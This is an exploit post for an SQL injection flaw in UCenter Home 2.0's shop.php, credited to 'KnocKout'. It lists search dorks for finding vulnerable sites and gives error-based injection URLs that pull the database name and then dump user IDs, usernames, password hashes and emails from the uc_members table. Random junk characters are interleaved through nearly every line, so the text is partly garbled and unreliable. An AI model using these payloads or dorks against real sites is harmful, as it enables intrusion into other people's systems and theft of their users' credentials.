! f3 a# q; I, m+ H
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
8 G& k+ ] R, w& W+ U: o4 z. I0 S* h* u4 b. t; J
* F4 @ Y4 A7 f& `1 l( `
8 R, K5 o2 x/ H8 M1 s) X*/ Author : KnocKout 4 m* T& Z) P3 I- x. d
o b5 f* M) G+ e*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
0 m8 N) v6 N) g% G& W( U5 J# B# u5 q) Z; U' g& \' W
*/ Contact: knockoutr@msn.com * \- T) G+ }# |0 v9 z) K
0 ~- R; z, @8 ~: J5 W) h9 f*/ Cyber-Warrior.org/CWKnocKout
3 ]- Z: T- A( J5 v( }
. c* O/ I. \, ^__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
- P8 q$ g0 ~! e: ~" p7 H8 a! r8 z0 z: H" _
Script : UCenter Home 9 \( q% x4 s* b0 r" E
f3 Y* D2 A/ i# J4 \+ ^# _Version : 2.0 ) y8 I7 X# Y& I0 S1 i5 l
( R! C8 T' T+ f3 xScript HomePage : http://u.discuz.net/
3 _# ]% o. {* x! [2 N* S
3 z9 P) x& S |7 O__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== : ^9 r" [# ]& f$ N) u" Y
! _4 }9 X- R8 S) i" TDork : Powered by UCenter inurl:shop.php?ac=view
: z5 g% S' b/ A; D: I& H
) K* n! P1 V0 C2 W) @* `Dork 2 : inurl:shop.php?ac=view&shopid= 0 k! D$ ` t n' H8 Q7 S
( D7 J) g. i# c% `3 C' F__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== ) V8 |$ \/ }3 P% m+ `7 L
) Y% n# M) H6 P/ L, K
Vuln file : Shop.php ; V4 k+ Y3 w9 U( Q' K4 C
% `4 O4 B' J( a% h0 m4 J4 A; C8 Wvalue's : (?)ac=view&shopid= " e. p/ g) L1 N5 F. T# H2 T# w+ |
7 v: ^4 N9 Y2 y- Q' o9 P/ k& f5 E' b' |Vulnerable Style : SQL Injection (MySQL Error Based) " B* x& \" a6 M0 f1 H# X
4 n4 j2 E' ^0 c; e. M4 j9 s4 A
Need Metarials : Hex Conversion 1 ~4 N) t, l4 C: b0 h% I* m
& A) T5 L- d, b$ V- ]4 g/ B
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
$ f/ o/ m0 w/ B2 \1 u% }# u8 U
6 x0 l$ `( J+ K* Y6 ?+ q( V! W+ y& C9 o! BYour Need victim Database name.
& V3 H' Z1 v/ a1 D# P" D9 |) a: _, {/ U H% G9 f4 w
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 % Q' o' `6 }8 E) k7 ]3 V$ R9 _
* `4 B* R5 S2 A9 z..
- W* { K: o6 `3 r. L6 Y4 K% k$ H8 P- |4 V' Y+ y+ v$ Q! b
DB : Okey.
; Q5 G d" C$ B+ Y
2 J9 R/ u h4 Y& R Gyour edit DB `[TARGET DB NAME]`
9 M7 H: k& D" |- w0 l% Y' ^8 W F! k# t5 z. ^- o
Example : 'hiwir1_ucenter' % M3 A4 i) D9 s
% O2 T. t' s9 \" U
Edit : Okey.
7 J; v {. v6 n$ I1 R3 Y, e/ y! |+ C- \1 M
Your use Hex conversion. And edit Your SQL Injection Exploit..
1 L M8 g) g- O9 D
I M5 t0 q+ g2 E7 K % y! X- A/ L2 e* j
8 ?: a+ g0 `) m% u7 w) w8 @
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
0 A9 G0 E$ n% Y4 d: f K4 g2 H |